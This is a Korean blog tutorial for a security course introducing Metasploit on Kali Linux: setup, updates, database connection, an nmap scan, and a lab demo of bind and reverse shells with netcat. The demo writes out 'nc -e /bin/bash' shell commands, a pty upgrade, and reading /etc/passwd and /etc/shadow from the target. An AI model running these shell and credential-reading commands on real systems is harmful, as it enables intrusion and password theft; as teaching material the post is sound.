정보보안(구버전)/Metasploit 2016. 5. 31. 18:42
Metasploit - 01. 메타스플로잇 (metasploit)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
[실습 시스템] Kali Linux, Firewall, CentOS, Window2008, WindowXP
- Metasploit : 공격코드, 페이로더, 인코더, 정찰도구, 보안 테스팅 등을 제공하는 취약점 진단 및 공격 툴(무료)
- Kali Linux에는 기본적으로 설치되어 있음
1. 메타스플로잇(metasploit) 특징
- 정보 수집, 공격(Exploit), 공격에 사용되는 Plugin(payload) 등으로 구성된 도구
- 외부 모듈인 취약점 점검, 포트 스캐너 등의 사용이 가능하고, DB 저장 가능
- 정보 수집 및 공격 모듈 사용시 간편하게 진행 가능
- msfconsole 내에서 외부 명령어 사용(리눅스 명령어) 가능
- 리눅스에서 실행하는 공격 툴 관련 실행 내용들을 Metaploit에서 실행하여 결과를 저장할 수 있음
2. 메타스플로잇(metasploit) 용어
- Exploit : 시스템, 애플리케이션, 서버등의 취약점을 악용하는 방법, SQL Injection, Buffer Overflow 등
- Payload : 시스템에서 실행하고자 하는 코드로 프레임워크에 의해 전달 (Ex : 악성 코드)
- Shell code : 공격 수행시 수행할때 Payload에 사용되는 명령 집합
- Module : Metasploit framework에서 사용되는 소프트웨어의 부분
3. 메타스플로잇(metasploit) 시작하는 방법
@ Kali Linux
- 'msfconsole' 명령어를 이용하여 시작하며, 시작시 배너는 항상 다르게 나옴 ('banner' 명령어 이용해서 확인 가능)
root@kali:~# msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.4-2015071403 ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
msf > exit
root@kali:~#
4. 메타스플로잇(metasploit) 업데이트
- 본 게시판에 있는 예제를 다 하고 나서 실시하도록 한다. (이유 : 업데이트하면 3~4개 정도 실습 못함)
root@kali:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux 2.0
Release: 2.0
Codename: sana
root@kali:~# msfconsole -v
Framework Version: 4.11.4-2015071403
- 미러 사이트 확인
root@kali:~# curl -sI http://http.kali.org/README
HTTP/1.1 302 Found
Date: Wed, 01 Jun 2016 02:02:47 GMT
Server: Apache/2.4.10 (Debian)
X-MirrorBrain-Mirror: kali.mirror.garr.it
X-MirrorBrain-Realm: other
Link: <http://http.kali.org/README.meta4>; rel=describedby; type="application/metalink4+xml"
Link: <http://kali.mirror.garr.it/mirrors/kali/README>; rel=duplicate; pri=1; geo=it
Link: <http://archive-3.kali.org/kali/README>; rel=duplicate; pri=2; geo=de
Link: <http://ftp.halifax.rwth-aachen.de/kali/README>; rel=duplicate; pri=3; geo=de
Link: <http://ftp.belnet.be/kali/kali/README>; rel=duplicate; pri=4; geo=be
Link: <http://ftp2.nluug.nl/os/Linux/distr/kali/README>; rel=duplicate; pri=5; geo=nl
Location: http://kali.mirror.garr.it/mirrors/kali/README
Content-Type: text/html; charset=iso-8859-1
- 미러 사이트 APT Repositiry 목록 추가 (밑에 [참고] Kali Repository 수정 참조)
root@kali:~# vi /etc/apt/sources.list
# # deb cdrom:[Debian GNU/Linux 2.0 _Sana_ - Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free
#deb cdrom:[Debian GNU/Linux 2.0 _Sana_ - Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb http://kali.mirror.garr.it/mirrors/kali sana main non-free contrib
: wq! |
- Kali Linux 업데이트 실시
root@kali:~# apt-get update
root@kali:~# apt-get upgrade
root@kali:~# apt-get dist-upgrade
- 메타스플로잇(metasploit) 업데이트 실시
root@kali:~# msfupdate
- 재부팅 실시
root@kali:~# reboot
- 버전 확인
root@kali:~# msfconsole -v
Framework Version: 4.13.2-dev
[참고] Kali Repository 수정
https://www.blackmoreops.com/2015/08/13/how-to-add-official-kali-linux-repositories/
- Kali Rolling 버전
root@kali:~# vi /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
- Kali Sana(Kali 2.0) 버전
root@kali:~# vi /etc/apt/sources.list
deb http://old.kali.org/kali sana main non-free contrib
deb-src http://old.kali.org/kali sana main non-free contrib
deb http://ch.archive.ubuntu.com/ubuntu/ saucy main restricted
deb-src http://ch.archive.ubuntu.com/ubuntu/ saucy main restricted
deb http://httpredir.debian.org/debian jessie main
deb-src http://httpredir.debian.org/debian jessie main
5. Postgres DB 연결
- 메타스플로잇을 Postgres DB에 연결하면, 사용한 공격 모듈 정보가 남아 있기 때문에 다음에 사용할때 빠르다.
root@kali:~# service postgresql start
root@kali:~# update-rc.d postgresql enable
root@kali:~# msfdb
Manage a metasploit framework database
msfdb init # initialize the database
msfdb reinit # delete and reinitialize the database
msfdb delete # delete database and stop using it
msfdb start # start the database
msfdb stop # stop the database
root@kali:~# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
root@kali:~# msfconsole
msf > db_status
[*] postgresql connected to msf
msf >
- DB에 정보가 기록되는지 확인
msf > db_nmap -sS -A -p 80 192.168.20.200
[*] Nmap: Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-06-01 15:46 KST
[*] Nmap: Nmap scan report for 192.168.20.200
[*] Nmap: Host is up (0.00048s latency).
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/tcp open http Apache httpd 2.2.3 ((CentOS))
[*] Nmap: | http-methods: Potentially risky methods: TRACE
[*] Nmap: |_See http://nmap.org/nsedoc/scripts/http-methods.html
[*] Nmap: |_http-server-header: Apache/2.2.3 (CentOS)
[*] Nmap: |_http-title: Apache HTTP Server Test Page powered by CentOS
[*] Nmap: MAC Address: 00:0C:29:72:28:7C (VMware)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.18 - 2.6.32
[*] Nmap: Network Distance: 1 hop
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 0.48 ms 192.168.20.200
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 15.37 seconds
msf >
msf> hosts
msf> services
msf > quit
6. Bind_TCP & Reverse_TCP 차이점
- nc : netcat
- 옵션 : -n(IP 주소/포트 번호를 번호로 사용), -v(상세 정보), -u(UDP 연결), -p(포트 번호 지정), -l(Listen 상태)
Ex1) Bind_TCP (공격자가 타겟에 연결되는 방식)
- 공격자 : Kali Linux(192.168.20.50)
- 타겟 : CentOS(192.168.20.200)
- 타켓에서 Listen 상태 실시
[root@CentOS /root]# cd /root/nc
[root@CentOS /root/nc]# ./nc -e /bin/bash -l -p 4444
- 칼리에서 타켓 접속 실시 및 Bind_TCP 연결 확인
root@kali:~# nc 192.168.20.200 4444
whoami
root
pwd
/root/nc
uname -a
Linux CentOS 2.6.18-371.el5 #1 SMP Tue Oct 1 08:35:08 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
ls
Changelog
Makefile
README
data
generic.h
nc
nc110.tgz
netcat.blurb
netcat.c
scripts
stupidh
(Ctrl+C)
root@kali:~#
- 타겟에서 nc 중지 실시
[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444
Ex2) Reverse_TCP (타겟이 공격자에 연결되는 방식)
- 칼리에서 Listen 상태 실시
root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...
- 타겟에서 칼리 접속 실시
[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444
- 칼리에서 타켓 접속 실시 및 Reverse_TCP 연결 확인
root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.200] 46011
whoami
root
pwd
/root/nc
python -c 'import pty;pty.spawn("/bin/bash")'
[root@CentOS /root/nc]#
[root@CentOS /root/nc]# whoami
whoami
root
[root@CentOS /root/nc]#
[root@CentOS /root/nc]# pwd
pwd
/root/nc
[root@CentOS /root/nc]#
[root@CentOS /root/nc]# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
~ 중간 생략 ~
[root@CentOS /root/nc]# cat /etc/shadow
cat /etc/shadow
root:$1$CLSZbr8E$wxcwfoLxyNAmFtndBL1CL0:17129:0:99999:7:::
bin:*:16780:0:99999:7:::
~ 중간 생략 ~
(Ctrl+c)
root@kali:~#
- 타겟에서 nc 중지 실시
[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444
(Ctrl+c)
[참고] CentOS에 -'e' 옵션을 위한 netcat 설치 및 내용 변경
- CentOS에서 'packetstormsecurity.com'으로 접속한 이후, 'nc110'을 검색하여 다운로드를 실시한다.
- 다운로드 받은 'nc110.tgz'를 nc라는 디렉토리를 생성하여 복사한다.
- nc 디렉토리에 복사한 'nc110.tgz'를 'tar xzf nc110.tgz'를 실시하여 압축을 해지한다.
- 'vi netcat.c'를 실시하여 다음과 같은 내용을 추가 및 주석처리한다.
[root@CentOS /root]# mkdir nc
[root@CentOS /root]# cp nc110.tgz nc
[root@CentOS /root]#
[root@CentOS /root]# cd nc
[root@CentOS /root/nc]#
[root@CentOS /root/nc]# tar xzf nc110.tgz
[root@CentOS /root/nc]#
[root@CentOS /root/nc]# ls
Changelog README generic.h netcat.blurb scripts
Makefile data nc110.tgz netcat.c stupidh
[root@CentOS /root/nc]# vi netcat.C
~ 중간 생략 ~
*/ #include <unistd.h> <- 추가 #include "generic.h" /* same as with L5, skey, etc */
~ 중간 생략 ~
#ifdef HAVE_BIND #endif :wq! |
[root@CentOS /root/nc]# gcc -DGAPING_SECURITY_HOLE -o nc netcat.c
7. Shell Code
- 쉘을 얻기위해서 제작된 소스 코드이다. 각각의 운영체제에 대한 쉘 코드는 구글 검색을 통해서 획득이 가능하다.
- Kali-64bit 쉘 코드를 작성해서 테스트하도록 한다.
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
Metasploit - 제1장 메타스플로잇 (metaspliot) https://youtu.be/BJCaJppJ5yk
'정보보안(구버전) > Metasploit' 카테고리의 다른 글
Metasploit - 06. 취약점 발견 및 공격 (tikiwiki 취약점 공격) (0) | 2016.06.02 |
---|---|
Metasploit - 05. 취약점 발견 및 공격 (MySQL 원격 로그인 시도) (0) | 2016.06.02 |
Metasploit - 04. 공격 타겟 스캐닝 (0) | 2016.06.02 |
Metasploit - 03. 외부 스캔 파일 사용하는 방법 (0) | 2016.06.02 |
Metasploit - 02. 메타스플로잇 명령어 및 사용 방법 (0) | 2016.06.01 |